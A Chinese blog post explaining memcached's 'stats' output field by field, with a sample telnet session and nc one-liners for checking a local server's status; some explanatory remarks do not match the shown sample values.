pid: memcached服务进程的进程IDuptime: memcached服务从启动到当前所经过的时间,单位是秒。time: memcached服务器所在主机当前系统的时间,单位是秒。version: memcached组件的版本。libevent:当前使用的libevent的版本pointer_size:服务器所在主机操作系统的指针大小,一般为32或64.curr_items:表示当前缓存中存放的所有缓存对象的数量。total_items:表示从memcached服务启动到当前时间,系统存储过的所有对象的数量,包括目前已经从缓存中删除的对象。bytes:表示系统存储缓存对象所使用的存储空间,单位为字节。curr_connections:表示当前系统打开的连接数。total_connections:表示从memcached服务启动到当前时间,系统打开过的连接的总数。connection_structures:表示从memcached服务启动到当前时间,被服务器分配的连接结构的数量,这个解释是协议文档给的,具体什么意思,我目前还没搞明白。cmd_get:累积获取数据的数量,这里是3,因为我测试过3次,第一次因为没有序列化对象,所以获取数据失败,是null,后边有2次是我用不同对象测试了2次。cmd_set:累积保存数据的树立数量,这里是2.虽然我存储了3次,但是第一次因为没有序列化,所以没有保存到缓存,也就没有记录。get_hits:表示获取数据成功的次数。get_misses:表示获取数据失败的次数。evictions:为了给新的数据项目释放空间,从缓存移除的缓存对象的数目。比如超过缓存大小时根据LRU算法移除的对象,以及过期的对象。bytes_read:memcached服务器从网络读取的总的字节数。bytes_written:memcached服务器发送到网络的总的字节数。limit_maxbytes:memcached服务缓存允许使用的最大字节数。这里为67108864字节,也就是是64M.与我们启动memcached服务设置的大小一致。threads:被请求的工作线程的总数量
 
查看Memcached当时状态

printf "stats\r\n" | nc 127.0.0.1 11211

查看Memcached实时状态

watch "printf 'stats\r\n' | nc 127.0.0.1 11211" 查看全部
[root@lb-node2 ~]# telnet 192.168.0.32 11211
Trying 192.168.0.32...
Connected to lb-node2.unixhot.com (192.168.0.32).
Escape character is '^]'.
stats
STAT pid 28123
STAT uptime 12108651
STAT time 1432622335
STAT version 1.4.20
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 302790.469851
STAT rusage_system 532615.597121
STAT curr_connections 1296
STAT total_connections 11753300
STAT connection_structures 12455
STAT reserved_fds 20
STAT cmd_get 25390452631
STAT cmd_set 432317850
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 25032687722
STAT get_misses 357764909
STAT delete_misses 252
STAT delete_hits 8799
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 2895142583054
STAT bytes_written 70030373847154
STAT limit_maxbytes 8489271296
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 21
STAT hash_bytes 16777216
STAT hash_is_expanding 0
STAT malloc_fails 0
STAT bytes 356408566
STAT curr_items 480250
STAT total_items 432317850
STAT expired_unfetched 136046737
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 172307832
STAT crawler_reclaimed 0
END
这里显示了很多状态信息,下边详细解释每个状态项:
  • pid: memcached服务进程的进程ID
  • uptime: memcached服务从启动到当前所经过的时间,单位是秒。
  • time: memcached服务器所在主机当前系统的时间,单位是秒。
  • version: memcached组件的版本。
  • libevent:当前使用的libevent的版本
  • pointer_size:服务器所在主机操作系统的指针大小,一般为32或64.
  • curr_items:表示当前缓存中存放的所有缓存对象的数量。
  • total_items:表示从memcached服务启动到当前时间,系统存储过的所有对象的数量,包括目前已经从缓存中删除的对象。
  • bytes:表示系统存储缓存对象所使用的存储空间,单位为字节。
  • curr_connections:表示当前系统打开的连接数。
  • total_connections:表示从memcached服务启动到当前时间,系统打开过的连接的总数。
  • connection_structures:表示从memcached服务启动到当前时间,被服务器分配的连接结构的数量,这个解释是协议文档给的,具体什么意思,我目前还没搞明白。
  • cmd_get:累积获取数据的数量,这里是3,因为我测试过3次,第一次因为没有序列化对象,所以获取数据失败,是null,后边有2次是我用不同对象测试了2次。
  • cmd_set:累积保存数据的树立数量,这里是2.虽然我存储了3次,但是第一次因为没有序列化,所以没有保存到缓存,也就没有记录。
  • get_hits:表示获取数据成功的次数。
  • get_misses:表示获取数据失败的次数。
  • evictions:为了给新的数据项目释放空间,从缓存移除的缓存对象的数目。比如超过缓存大小时根据LRU算法移除的对象,以及过期的对象。
  • bytes_read:memcached服务器从网络读取的总的字节数。
  • bytes_written:memcached服务器发送到网络的总的字节数。
  • limit_maxbytes:memcached服务缓存允许使用的最大字节数。这里为67108864字节,也就是是64M.与我们启动memcached服务设置的大小一致。
  • threads:被请求的工作线程的总数量

 
查看Memcached当时状态


printf "stats\r\n" | nc 127.0.0.1 11211


查看Memcached实时状态


watch "printf 'stats\r\n' | nc 127.0.0.1 11211"